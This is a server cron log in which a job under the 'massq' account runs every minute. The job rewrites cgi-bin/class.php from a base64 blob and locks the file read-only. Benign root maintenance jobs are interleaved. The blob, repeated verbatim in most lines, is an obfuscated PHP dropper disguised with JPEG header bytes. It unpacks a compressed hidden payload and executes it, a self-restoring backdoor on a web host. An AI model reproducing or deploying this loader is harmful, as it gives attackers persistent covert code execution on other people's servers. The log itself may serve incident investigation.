Nov 11 22:52:01 server CROND[4481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:53:01 server CROND[5291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:54:01 server CROND[6164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:55:01 server CROND[7082]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:55:01 server CROND[7083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:55:01 server CROND[7084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:56:01 server CROND[7941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:57:01 server CROND[8840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 22:57:01 server CROND[8841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:58:01 server CROND[9730]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:59:01 server CROND[10596]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:00:01 server CROND[11528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:00:01 server CROND[11527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 23:00:01 server CROND[11530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:00:01 server CROND[11532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:01:01 server CROND[12462]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 23:01:01 server CROND[12463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:01:01 server run-parts(/etc/cron.hourly)[12462]: starting 0anacron
Nov 11 23:01:01 server run-parts(/etc/cron.hourly)[12475]: finished 0anacron
Nov 11 23:02:01 server CROND[12773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:03:01 server CROND[13534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:04:01 server CROND[14352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 23:05:01 server CROND[14875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 23:05:01 server CROND[14876]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 23:05:01 server CROND[14877]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
